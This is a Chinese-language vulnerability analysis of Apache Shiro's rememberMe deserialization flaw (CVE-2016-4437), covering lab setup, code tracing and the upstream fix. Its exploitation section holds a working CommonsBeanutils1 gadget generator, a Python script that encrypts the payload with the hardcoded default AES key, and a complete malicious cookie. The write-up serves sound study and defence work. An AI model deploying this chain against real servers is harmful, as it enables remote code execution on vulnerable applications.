漏洞简介
Apache Shiro是一个强大且易于使用的Java安全框架,用于身份验证、授权、加密和会话管理等安全领域,它提供了一套全面的安全功能,包括身份认证、授权、加密和会话管理,可以轻松地集成到各种Java应用程序中。
Apache Shiro自0.9版本开始设计了RememberMe的功能,该功能是一种身份认证机制,允许用户在登录后长时间内保持登录状态,即使关闭浏览器或注销账户后再次访问时仍然保持登录状态。当未手动为RememberMe功能配置密钥时,攻击者可以通过发送特定参数的请求对Shiro执行任意代码或绕过预期的访问限制。
影响范围
该漏洞影响1.2.5以前的版本,但受后续版本的修复方式所限,如果密钥被泄漏,攻击者依旧能够造成任意代码执行或绕过访问限制。
环境搭建
从Shiro的GitHub仓库克隆下来,并切换至shiro-root-1.2.4分支。
git clone <https://github.com/apache/shiro> && cd shiro/ git checkout shiro-root-1.2.4
使用IntelliJ IDEA打开此项目,需要先在
samples/web/pom.xml中指定jstl的版本为1.2,不然后面运行起来会报500。<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency>
然后将Java版本设置在8u71以上,尽量接近实战中的环境。继续同步Maven依赖,并参考如下图新增Tomcat运行配置。

等待依赖同步完毕,便可以运行起来。

调试也是没问题的。

漏洞分析
在登录应用程序时,当勾选rememberMe的功能,如果登录失败,在Set-Cookie响应头中就会有
rememberMe=deleteMe。
若成功登录,则会返回有效的rememberMe Set-Cookie头,并携带这个rememberMe跳转至登录页面。

据此,对应用处理rememberMe的流程进行分析。
相关处理类
在Shiro中,org.apache.shiro.web.mgt.CookieRememberMeManager是用于管理RememberMe功能的核心类之一,它负责生成、解析和验证RememberMe Cookie。
该继承自shiro-core中的org.apache.shiro.mgt.AbstractRememberMeManager,而AbstractRememberMeManager实现了org.apache.shiro.mgt.RememberMeManager接口。
处理流程
根据samples/web/src/main/webapp/WEB-INF/web.xml的映射关系,可知请求任意Web路径都会由org.apache.shiro.web.servlet.ShiroFilter类处理。
<filter> <filter-name>ShiroFilter</filter-name> <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class> </filter> <filter-mapping> <filter-name>ShiroFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
ShiroFilter类继承自AbstractShiroFilter类。
public class ShiroFilter extends AbstractShiroFilter
而AbstractShiroFilter类又继承OncePerRequestFilter。
public abstract class AbstractShiroFilter extends OncePerRequestFilter
在OncePerRequestFilter#doFilter方法中调用了doFilterInternal方法。
public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException { String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName(); if ( request.getAttribute(alreadyFilteredAttributeName) != null ) { log.trace("Filter '{}' already executed. Proceeding without invoking this filter.", getName()); filterChain.doFilter(request, response); } else //noinspection deprecation // ... } else { // Do invoke this filter... log.trace("Filter '{}' not yet executed. Executing now.", getName()); request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE); try { doFilterInternal(request, response, filterChain); } finally { // Once the request has finished, we're done and we don't // need to mark as 'already filtered' any more. request.removeAttribute(alreadyFilteredAttributeName); } } }
而doFilterInternal这个方法在子类AbstractShiroFilter中有被重写。
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) throws ServletException, IOException { Throwable t = null; try { final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain); final ServletResponse response = prepareServletResponse(request, servletResponse, chain); final Subject subject = createSubject(request, response); //noinspection unchecked subject.execute(new Callable() { public Object call() throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain); return null; } }); } catch (ExecutionException ex) { t = ex.getCause(); } catch (Throwable throwable) { t = throwable; } // ... }
在这个方法中会调用createSubject方法创建Subject。
protected WebSubject createSubject(ServletRequest request, ServletResponse response) { return new WebSubject.Builder(getSecurityManager(), request, response).buildWebSubject(); }
继续跟下去,最终会调用父类org.apache.shiro.mgt.DefaultSecurityManager中的createSubject(org.apache.shiro.subject.SubjectContext)方法。
public Subject createSubject(SubjectContext subjectContext) { //create a copy so we don't modify the argument's backing map: SubjectContext context = copy(subjectContext); //ensure that the context has a SecurityManager instance, and if not, add one: context = ensureSecurityManager(context); //Resolve an associated Session (usually based on a referenced session ID), and place it in the context before //sending to the SubjectFactory. The SubjectFactory should not need to know how to acquire sessions as the //process is often environment specific - better to shield the SF from these details: context = resolveSession(context); //Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first //if possible before handing off to the SubjectFactory: context = resolvePrincipals(context); Subject subject = doCreateSubject(context); //save this subject for future reference if necessary: //(this is needed here in case rememberMe principals were resolved and they need to be stored in the //session, so we don't constantly rehydrate the rememberMe PrincipalCollection on every operation). //Added in 1.2: save(subject); return subject; }
如上createSubject方法对resolvePrincipals方法进行了调用,在resolvePrincipals又调用了getRememberedIdentity。getRememberedIdentity中调用了getRememberMeManager和getRememberedPrincipals。
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager(); if (rmm != null) { try { return rmm.getRememberedPrincipals(subjectContext); } catch (Exception e) { if (log.isWarnEnabled()) { String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() + "] threw an exception during getRememberedPrincipals()."; log.warn(msg, e); } } } return null; }
根据getRememberMeManager方法的签名,可以得知该方法会返回一个org.apache.shiro.mgt.RememberMeManager对象,这是一个接口。
public RememberMeManager getRememberMeManager() { return rememberMeManager; }
public interface RememberMeManager
随后会调用到org.apache.shiro.mgt.RememberMeManager#getRememberedPrincipals,这个接口方法只有在AbstractRememberMeManager一个类中得到了实现,而处理RememberMe Cookie得类又是继承自AbstractRememberMeManager类。
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
Base64解码
在如上AbstractRememberMeManager#getRememberedPrincipals方法中调用了getRememberedSerializedIdentity与convertBytesToPrincipals两个方法。
此处的getRememberedSerializedIdentity是一个抽象方法。
protected abstract byte[] getRememberedSerializedIdentity(SubjectContext subjectContext);
在shiro-web中,由于org.apache.shiro.web.mgt.CookieRememberMeManager继承自org.apache.shiro.mgt.AbstractRememberMeManager类。
public class CookieRememberMeManager extends AbstractRememberMeManager
所以最终会调用到CookieRememberMeManager中的getRememberedSerializedIdentity方法。
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation."; log.debug(msg); } return null; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); // Browsers do not always remove cookies immediately (SHIRO-183) // ignore cookies that are scheduled for removal if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null; if (base64 != null) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]"); } byte[] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes."); } return decoded; } else { //no cookie set - new site visitor? return null; } }
该方法会传入的RememberMe Cookie进行Base64编码,并返回byte[]数组。

AES解密

紧接着,会对字节数组进行非空判断,若成立就会调用org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals方法,在其中解密又调用了两个关键方法,decrypt和deserialize,顾名思义,解密与反序列化。
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
decrypt方法如下。
protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
在里面调用了getDecryptionCipherKey方法获取解密Key,返回值便是Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")。
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); private byte[] decryptionCipherKey; public AbstractRememberMeManager() { this.serializer = new DefaultSerializer<PrincipalCollection>(); this.cipherService = new AesCipherService(); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); } public void setCipherKey(byte[] cipherKey) { //Since this method should only be used in symmetric ciphers //(where the enc and dec keys are the same), set it on both: setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); } public byte[] getDecryptionCipherKey() { return decryptionCipherKey; }
之后,将密文与Key传入至cipherService.decrypt中,这个方法是org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])。
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { byte[] encrypted = ciphertext; //No IV, check if we need to read the IV from the stream: byte[] iv = null; if (isGenerateInitializationVectors(false)) { try { int ivSize = getInitializationVectorSize(); int ivByteSize = ivSize / BITS_PER_BYTE; //now we know how large the iv is, so extract the iv bytes: iv = new byte[ivByteSize]; System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); //remaining data is the actual encrypted ciphertext. Isolate it: int encryptedSize = ciphertext.length - ivByteSize; encrypted = new byte[encryptedSize]; System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize); } catch (Exception e) { String msg = "Unable to correctly extract the Initialization Vector or ciphertext."; throw new CryptoException(msg, e); } } return decrypt(encrypted, key, iv); }
由于AES是一种对称加密算法,加解密所用到的密钥Key会是同一个,还会涉及一个初始向量iv。所以在这个方法中,将encrypted、key、iv传给了JcaCipherService#decrypt(byte[], byte[], byte[])方法,在其中进行AES解密,最后返回解密后的内容。

反序列化
成功解密后就会返回到convertBytesToPrincipals方法中,继续交由deserialize方法处理。
protected PrincipalCollection deserialize(byte[] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); }
最后在org.apache.shiro.io.DefaultSerializer#deserialize方法中发生反序列化。
public T deserialize(byte[] serialized) throws SerializationException { if (serialized == null) { String msg = "argument cannot be null."; throw new IllegalArgumentException(msg); } ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array."; throw new SerializationException(msg, e); } }
这里面调用了原生readObject方法进行反序列化,这也是远程代码执行漏洞发生的地方。

漏洞利用
由于Shiro中是存在Commons BeanUtils组件的,但存在的Commons Collections组件是不完整的,所以可以直接利用CommonsBeanutils1来攻击Shiro。
关于CommonsBeanutils1链的详细分析见《Java反序列化漏洞之CommonsBeanutils1链》文章,这里直接使用如下利用代码生成恶意反序列化数据CBRCEWithoutCC.ser文件。
package com.javasec.cb; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.beanutils.BeanComparator; import java.util.Collections; public class CBRCEWithoutCC { public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_name", "T"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj}); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("CBRCEWithoutCC.ser")); outputStream.writeObject(queue); outputStream.close(); // ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("CBRCEWithoutCC.ser")); // inputStream.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
然后通过如下Python脚本生成编码后的Payload。
import base64 import uuid from Crypto.Cipher import AES with open('./CBRCEWithoutCC.ser', 'rb') as f: data = f.read() BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), AES.MODE_CBC, iv) print("Cookie: rememberMe={}".format(base64.b64encode(iv + encryptor.encrypt(pad(data))).decode())) # Cookie: rememberMe=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
将Payload放置在BurpSuite中并构造恶意请求,最终成功实现RCE。

漏洞修复
官方在1.2.5版本中对CVE-2016-4437这个漏洞进行了修复,见如下commit。

public AbstractRememberMeManager() { this.serializer = new DefaultSerializer<PrincipalCollection>(); AesCipherService cipherService = new AesCipherService(); this.cipherService = cipherService; setCipherKey(cipherService.generateNewKey().getEncoded()); }
根据如上代码变更,修复方式移除了原本硬编码的Key,然后调用generateNewKey方法生成一个新的Key。
同时,官方还允许开发者在shiro.ini配置文件中自定义设置Key,且这个优先级是高于generateNewKey方法的。
# We need to set the cipherKey, if you want the rememberMe cookie to work after restarting or on multiple nodes. # YOU MUST SET THIS TO A UNIQUE STRING #securityManager.rememberMeManager.cipherKey = kPH+bIxk5D2deZiIxcaaaA==
不过反序列化的流程依旧没有发生变化。这也就意味着如果攻击者能得知密钥Key,还是可能对Shiro应用造成远程代码执行的。
